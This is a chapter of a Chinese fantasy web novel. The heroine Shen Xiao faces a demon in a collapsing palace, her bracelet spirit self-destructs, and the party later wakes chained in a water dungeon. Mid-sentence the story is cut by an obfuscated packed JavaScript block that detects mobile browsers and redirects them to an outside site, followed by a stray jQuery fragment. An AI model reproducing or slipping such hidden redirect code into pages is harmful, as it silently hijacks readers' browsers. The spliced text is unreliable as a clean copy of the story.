西门无德缓缓捋起发须,眼中战意初现,周身黑色灵气轰然爆发,震得四周石柱裂痕遍布,尘埃滚滚。
大殿之中,杀气腾腾,剑气纵横。
沈笑站在远处,惊骇地看着这一切,手指微微发颤。
方才将功法与武器结合,是她突发奇想,为了保命不得已的尝试,现在已经筋疲力竭,快撑不住了。
忽然,她手腕上的端木仪微微一震,一道声音悄然传来:
“别轻举妄动,速速离开!”
沈笑愕然,正要开口,一声惊天巨响震得她耳膜嗡鸣一一
轰!!
整个大殿轰然倒塌!
桌椅翻飞,妖怪四散逃窜!
一群鬼吏模样的妖怪们慌乱逃命,跑得连官帽都掉了,锦衣宽袍在混乱中被撕裂,灰尘滚滚间,壁画中的仙人竟纷纷破壁而出,竟是一群披着神仙皮的妖怪。
沈笑目瞪口呆地看着那群肥头大耳的猪妖连滚带爬地冲出宫殿,提着长裙慌不择路,口中还喊着:
“不好啦!被发现啦!”
沈笑的嘴巴几乎要掉下来,这些壁画竟全是假的?那这座宏伟的宫殿,又有几分是真?
她心头一寒,猛然抬头,却见整个宫殿的瓦片正一块块剥落,殿顶之上,隐隐浮现出一道巨大的黑影……
坍塌的宫殿轰然落下,巨石、瓦砾夹杂着破碎的梁柱,如天塌地陷般向沈笑砸来。
她瞳孔一缩,几乎是下意识地一个飞身翻跃,堪堪躲过这致命一击。然而,还不等她喘息,背后股令人窒息的妖气骤然逼近。
西门无德盯上她了!
他站在一片废墟之上,眸光森冷,嘴角勾起一抹残忍的弧度。
狂风卷起,裴钰等人甚至来不及做出反应,便被凌厉的妖风震飞出去,砸在残垣断壁之上。
“噗”
二人齐齐吐血,杨采薇伤势最重,五脏六腑翻腾,肝脏几乎寸寸碎裂,鲜血顺着嘴角流淌,她的眼睛却依旧死死盯着西门无德,恨意滔天。
“呃...”
她张了张嘴,想要撑起身子再战,可身体已经完全不听使唤。
“哎。这就是你们的实力?有点没意思啊……”
他目光一转,盯向沈笑,眼中闪过一抹森然的寒光。
“不过.....”他舔了舔嘴唇,忽然笑得狰狞无比,“我倒是很好奇,你怎么会那套功法?端木仪教你的?”
端木仪?
沈笑一脸茫然,她根本没听过这个名字。
西门无德才不管她也没有听过,只见他的身体陡然发生异变。
“咔嚓——”
骨骼扭曲,皮肤猛地涨裂,一根根红毛疯长而出,眼眸彻底化作森绿的兽瞳,嘴巴裂开至耳后,露出一排密密麻麻的尖锐獠牙。他的手臂瞬间变为漆黑的兽爪,每一根手指都如鹰爪般锐利,爪尖轻轻一划,虚空中竟然留下了一道漆黑的裂痕。
身形膨胀,身躯越来越长,越来越大。顷刻间,他已然化作一只狰狞诡异的似狐非狐的妖兽。
“哈哈哈哈哈端木老儿,你还要像五百年前一样逃跑吗?!”
他狰狞的面庞对准沈笑,一声怒吼,声浪炸裂,震得四周废墟纷纷崩碎。
沈笑心头大骇,拼命跳跃闪避,但西门无德的速度极快,他的巨爪带着破空之声,狠狠朝沈笑抓去。
“轰——”
沈笑脚下的大理石瞬间爆碎,飞溅的石屑擦破了她的脸颊,留下鲜红的血痕。
她心跳如雷,冷汗沿着脊背滑落,眼前的世界化作一片荒芜废墟,每一次跳跃,她落脚的地方便彻底化为齑粉。
真不会应了那个臭乞丐的预言,死在这里吧。
她才两百岁出头,还没好好享受生活呢,她可不想就这么死了。
西门无德一口一个的“端木仪”。沈笑也隐隐猜出可能就是沉睡的十九了。
没想到十九的大名竟然那么威风,好像还和魔殿前魔君一个姓氏,怪不得能和令狐慈做朋友。
“喂,前辈!你和他到底有什么恩怨我不管!”
沈笑一边飞跃闪避,一边焦急地低吼,手腕上的镯子竟然越来越烫,仿佛要灼伤皮肤一般。
“你快出来帮忙啊,我可不想死啊!”
她拼命甩动手腕,但镯子依旧纹丝不动。
“别摇了!快把我摇吐了。”
十九这才醒了,发现周围的局势不妙,还不如不醒。
他的声音里带着几分无奈,叹了口气,低声道:“这百花谷早已不似当年.....这里处处压制着我的力量,我根本无法施展。”
沈笑心跳如擂鼓,耳边尽是呼啸的风声和身后西门无德越来越近的脚步声。
“那能怎么办啊?!白白等死吗?”
她咬紧牙关,强忍着腿部的酸痛,拼命狂奔。
可她很清楚,自己最多再撑十几息便会力竭倒下。而西门无德,那只狰狞的妖兽,已经彻底锁定了她的气息,步步紧逼,杀机弥漫。
端木仪却淡然道:“放心,他认识我,便不会杀你。”
沈笑一怔,还没来得及细想,身后便传来了西门无德阴冷的笑声。
“端木仪——”
他的声音像是锋利的刀刃,字字剜心。
“你还是如当年一般胆小无能……”
沈笑的瞳孔微微缩,耳边的声音越来越刺耳。
“哪怕你的亲妹妹死在你的面前,你也无能为力.....”
“除了逃,你还能做什么?”
空气仿佛在这一刻凝滞。沈笑心头剧震,余光扫向手腕上的镯子,却发现端木仪一言不发,沉默得可怕。
“前辈?”
她低声唤道,却没有得到任何回应。
她猛地咬紧牙关,一边疯狂躲避西门无德的攻击,一边厉声喝道:“你可别泄气啊!你等了五百年才等到出秘境的机会,怎么能败给秘境里的小妖呢?!”
沈笑心头发寒,一股不详的预感油然而生。
一只巨大的兽爪带着恐怖的罡风,猛地向沈笑拍来。
沈笑已经避无可避,她所有的灵气几乎耗尽,双腿如同灌了铅一般沉重,意识也逐渐模糊。她知道,若是这一掌落下,自己非死即残。
“要死了……”
她不甘心。
眼看西门无德的利爪即将落下,沈笑陡然咬牙,猛地摘下手腕上的镯子,奋力朝着西门无德砸去。
她要活到最后。
什么约定,什么预言,什么任务,她才不管了,只要她能活到最后就好。这条臭蛇叫十九还是端木仪于她都没有关系了,互相利用罢了,现在的局面只能大难临头各自飞了。
这一举动,让西门无德猝不及防。
“什么?你……”
他的眼神瞬间一变,可一切已经来不及了。
镯子划破长空,在半空中猛然爆发出璀璨的金光,宛如一轮烈日坠落。
一股恐怖的冲击波在空中炸裂,金光席卷天地,连整个百花谷都随之震颤。
沈笑眼前一片刺目白芒,耳边尽是雷鸣般的轰响,她的身体被冲击波狠狠掀飞,整个人如断线的风筝一般撞向远处的断壁残垣。
而西门无德,则是直接被爆炸的冲击力轰得倒飞出去,脸上赫然多了一道猩红的血痕。
“啊!我的脸!”
他捂着脸,发出了撕心裂肺的怒吼,双眸燃烧着滔天怒火,彻底陷入狂暴。
然而,还不等他发作,
“砰!''
镯子形态的端木仪,竟然在半空中彻底炸裂。这是他以镯子的形态爆发的最猛烈的灵力。
狂暴的灵力瞬间席卷四方,金光宛如潮水般吞噬了一切。
爆炸席卷了整个大殿,天摇地动,碎石横飞。沈笑只觉得耳边嗡嗡作响,眼前一黑,彻底
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16316370|183020||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
失去了意识.....
不知过了多久,沈笑的意识才从混沌中挣脱出来。
漆黑,一片漆黑。
头痛如裂,耳朵里嗡嗡作响,仿佛还有爆炸的回声在脑海里翻滚。
她想动,却发现手脚被冰冷的铁链锁住,沉重得让她几乎无法挣扎。更糟的是,腰部以下浸泡在冰冷的水中,寒意透骨,像是要将血液都冻住。
沈笑心头一沉。
地下水牢……他们竟然被关进了地下水牢。
周围一片死寂,唯有水滴坠入黑暗的声音。
她试图调动体内的灵力,可丹田处空荡荡的,法力被禁锢,根本无法运转半分。
糟了。
沈笑竭力睁大眼睛,适应黑暗后,终于看到对面昏暗的影子。是裴钰他们!
他们也被关在这里。
她勉强挪动身体,寒水搅动间,一股血腥气在口腔中蔓延。爆炸的伤势还未恢复,加上冰水的刺激,每一次呼吸都伴随着钻心的疼痛。
端木仪呢?
她手腕上空荡荡的。端木仪被西门无德刺激得自爆,估计凶多吉少了,沈笑没空可怜他,她自己现在就自身难保了。
她想开口说话,可喉咙干涩发痛,半个字都发不出来。
就在这时,一道怨气冲天的声音打破了死寂。
“为什么!为什么非要拿什么灵山玉?!非要进这个破秘境?!非要来这个该死的百花谷?!”
是萧芙,她的声音里满是愤怒和不甘,甚至带着一丝隐隐的惊恐。
“无尽峰到底是盐吃多了,还是闲得慌?!灵山玉那种东西,早就是传说了,值不值得让我们把命都搭上?!”
她的情绪失控地咆哮着,铁链在她的挣扎下发出沉闷的响声。
“都怪你们!都怪你们!!”
“害得我们回不去!害得我们被困在这种鬼地方!这破水牢又臭又脏,我受够了!我要回去!”
她喘着粗气,突然一字一句地骂道:
“还有你,杨采薇!”
“你说你能耐什么?!非要去激怒那个西门无德?!我们本来就不是他的对手,你凭什么为了一个小弟子,去拿大家的性命冒险?!”
杨采薇一直低着头,身体微微发抖,不知是冷的,还是被这突如其来的指责刺痛。
萧芙却没有打算放过她,声音越发尖锐:“真是疯了!你知道我们为了活命付出了多少?!”
“那个张小仙……她死了就死了,活该!人各有命,你懂不懂?!”
“你是不是也想死?!”
空气仿佛凝固。
“不许说她!”
一道沙哑而冰冷的声音打破黑暗。
杨采薇猛地抬起头,双眼通红,这次战斗她受的伤最为严重,能在水牢中清醒过来也是奇迹。
她的嘴唇发紫,脸色苍白,身体在寒水中微微颤抖:“这件事……是我对不起你们……是我冲动了……”
可萧芙不肯罢休,咬牙道:“现在后悔有用吗?!杨采薇,你倒是说说,我们还能出去吗?!”
黑暗中,水滴声滴答作响,像是死神的低语。
就在萧芙还想继续说些什么时,一个低沉而虚弱的声音,终于打破了这剑拔弩张的气氛。
“够了。”
裴钰的声音平静,他此时的内伤还在发作,隐隐作痛,本想安静休息片刻,却被这争执声打断。
他虽然浑身是伤,脸色苍白,扫视着众人:“进百花谷,是我决定的,若要追究责任,该由我来承担。”
”待我们出去,我亲自向长老谢罪。”
“是我们没有保护好大家。”
他的语气带着疲惫,冷冷地看着萧芙。
“萧长老那里我也会去的。”
一时间,水牢中陷入了死一般的沉寂。萧芙咬了咬牙,似乎还有怒气未消,但最终没有再多说什么。